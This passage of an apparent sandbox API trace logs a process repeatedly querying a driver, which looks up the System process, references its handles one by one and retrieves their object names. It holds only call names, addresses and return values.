AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800340bb10, HandleInformation=0x0) returned 0x0 [0111.118] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.118] PsReleaseProcessExitSynchronization () returned 0x2 [0111.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.118] ObQueryNameString (in: Object=0xfffffa800340bb10, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.118] ObfDereferenceObject (Object=0xfffffa800340bb10) returned 0x2 [0111.118] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.118] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.118] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.118] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.118] PsAcquireProcessExitSynchronization () returned 0x0 [0111.118] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.118] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80027e3900, HandleInformation=0x0) returned 0x0 [0111.118] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.118] PsReleaseProcessExitSynchronization () returned 0x2 [0111.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.118] ObQueryNameString (in: Object=0xfffffa80027e3900, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.118] ObfDereferenceObject (Object=0xfffffa80027e3900) returned 0x2 [0111.118] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.119] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.119] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.119] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.119] PsAcquireProcessExitSynchronization () returned 0x0 [0111.119] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.119] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002d507a0, HandleInformation=0x0) returned 0x0 [0111.119] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.119] PsReleaseProcessExitSynchronization () returned 0x2 [0111.119] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.119] ObQueryNameString (in: Object=0xfffffa8002d507a0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.119] ObfDereferenceObject (Object=0xfffffa8002d507a0) returned 0x2 [0111.119] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.119] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.119] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.119] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.119] PsAcquireProcessExitSynchronization () returned 0x0 [0111.119] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.119] ObReferenceObjectByHandle (in: Handle=0xffffffff800007bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002364460, HandleInformation=0x0) returned 0x0 [0111.119] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.119] PsReleaseProcessExitSynchronization () returned 0x2 [0111.119] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.119] ObQueryNameString (in: Object=0xfffffa8002364460, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.119] ObfDereferenceObject (Object=0xfffffa8002364460) returned 0x2 [0111.119] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.119] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.119] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0111.119] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.119] PsAcquireProcessExitSynchronization () returned 0x0 [0111.119] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.119] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021afae0, HandleInformation=0x0) returned 0x0 [0111.119] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.120] PsReleaseProcessExitSynchronization () returned 0x2 [0111.120] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.120] ObQueryNameString (in: Object=0xfffffa80021afae0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.120] ObfDereferenceObject (Object=0xfffffa80021afae0) returned 0x2 [0111.120] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.120] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.120] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.120] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.120] PsAcquireProcessExitSynchronization () returned 0x0 [0111.120] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.120] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800b3b5050, HandleInformation=0x0) returned 0x0 [0111.120] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.120] PsReleaseProcessExitSynchronization () returned 0x2 [0111.120] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.120] ObQueryNameString (in: Object=0xfffffa800b3b5050, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.120] ObfDereferenceObject (Object=0xfffffa800b3b5050) returned 0x2 [0111.120] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.120] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.120] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.120] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.120] PsAcquireProcessExitSynchronization () returned 0x0 [0111.120] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.120] ObReferenceObjectByHandle (in: Handle=0xffffffff800007cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800c5def20, HandleInformation=0x0) returned 0x0 [0111.120] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.120] PsReleaseProcessExitSynchronization () returned 0x2 [0111.120] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.120] ObQueryNameString (in: Object=0xfffffa800c5def20, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.120] ObfDereferenceObject (Object=0xfffffa800c5def20) returned 0x2 [0111.120] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.120] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.121] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.121] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.121] PsAcquireProcessExitSynchronization () returned 0x0 [0111.121] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.121] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037c6dd0, HandleInformation=0x0) returned 0x0 [0111.121] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.121] PsReleaseProcessExitSynchronization () returned 0x2 [0111.121] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.121] ObQueryNameString (in: Object=0xfffffa80037c6dd0, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.121] ObfDereferenceObject (Object=0xfffffa80037c6dd0) returned 0x2 [0111.121] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.121] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.121] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.121] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.121] PsAcquireProcessExitSynchronization () returned 0x0 [0111.121] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.121] ObReferenceObjectByHandle (in: Handle=0xffffffff800007dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020cb430, HandleInformation=0x0) returned 0x0 [0111.121] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.121] PsReleaseProcessExitSynchronization () returned 0x2 [0111.121] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.121] ObQueryNameString (in: Object=0xfffffa80020cb430, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.121] ObfDereferenceObject (Object=0xfffffa80020cb430) returned 0x2 [0111.121] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.121] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.121] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.121] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.121] PsAcquireProcessExitSynchronization () returned 0x0 [0111.121] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.121] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80025be3b0, HandleInformation=0x0) returned 0x0 [0111.121] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.122] PsReleaseProcessExitSynchronization () returned 0x2 [0111.122] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.122] ObQueryNameString (in: Object=0xfffffa80025be3b0, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0111.122] ObfDereferenceObject (Object=0xfffffa80025be3b0) returned 0x2 [0111.122] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.122] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.122] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.122] PsAcquireProcessExitSynchronization () returned 0x0 [0111.122] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.122] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019ee230, HandleInformation=0x0) returned 0x0 [0111.122] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.122] PsReleaseProcessExitSynchronization () returned 0x2 [0111.122] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.122] ObQueryNameString (in: Object=0xfffffa80019ee230, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.122] ObfDereferenceObject (Object=0xfffffa80019ee230) returned 0x2 [0111.122] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.122] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.122] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.122] PsAcquireProcessExitSynchronization () returned 0x0 [0111.122] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.122] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037b37c0, HandleInformation=0x0) returned 0x0 [0111.122] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.122] PsReleaseProcessExitSynchronization () returned 0x2 [0111.122] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.122] ObQueryNameString (in: Object=0xfffffa80037b37c0, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.122] ObfDereferenceObject (Object=0xfffffa80037b37c0) returned 0x2 [0111.122] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.122] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.123] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.123] PsAcquireProcessExitSynchronization () returned 0x0 [0111.123] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.123] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002112890, HandleInformation=0x0) returned 0x0 [0111.123] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.123] PsReleaseProcessExitSynchronization () returned 0x2 [0111.123] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.123] ObQueryNameString (in: Object=0xfffffa8002112890, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.123] ObfDereferenceObject (Object=0xfffffa8002112890) returned 0x2 [0111.123] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.123] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.123] PsAcquireProcessExitSynchronization () returned 0x0 [0111.123] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.123] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003b13260, HandleInformation=0x0) returned 0x0 [0111.123] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.123] PsReleaseProcessExitSynchronization () returned 0x2 [0111.123] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.123] ObQueryNameString (in: Object=0xfffffa8003b13260, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.123] ObfDereferenceObject (Object=0xfffffa8003b13260) returned 0x2 [0111.123] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.123] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.123] PsAcquireProcessExitSynchronization () returned 0x0 [0111.123] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.124] ObReferenceObjectByHandle (in: Handle=0xffffffff800007fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800193d050, HandleInformation=0x0) returned 0x0 [0111.124] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.124] PsReleaseProcessExitSynchronization () returned 0x2 [0111.124] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.124] ObQueryNameString (in: Object=0xfffffa800193d050, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.124] ObfDereferenceObject (Object=0xfffffa800193d050) returned 0x2 [0111.124] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.124] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.124] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.124] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.124] PsAcquireProcessExitSynchronization () returned 0x0 [0111.124] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.124] ObReferenceObjectByHandle (in: Handle=0xffffffff80000808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002849960, HandleInformation=0x0) returned 0x0 [0111.124] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.124] PsReleaseProcessExitSynchronization () returned 0x2 [0111.124] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.124] ObQueryNameString (in: Object=0xfffffa8002849960, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.124] ObfDereferenceObject (Object=0xfffffa8002849960) returned 0x2 [0111.124] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.124] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 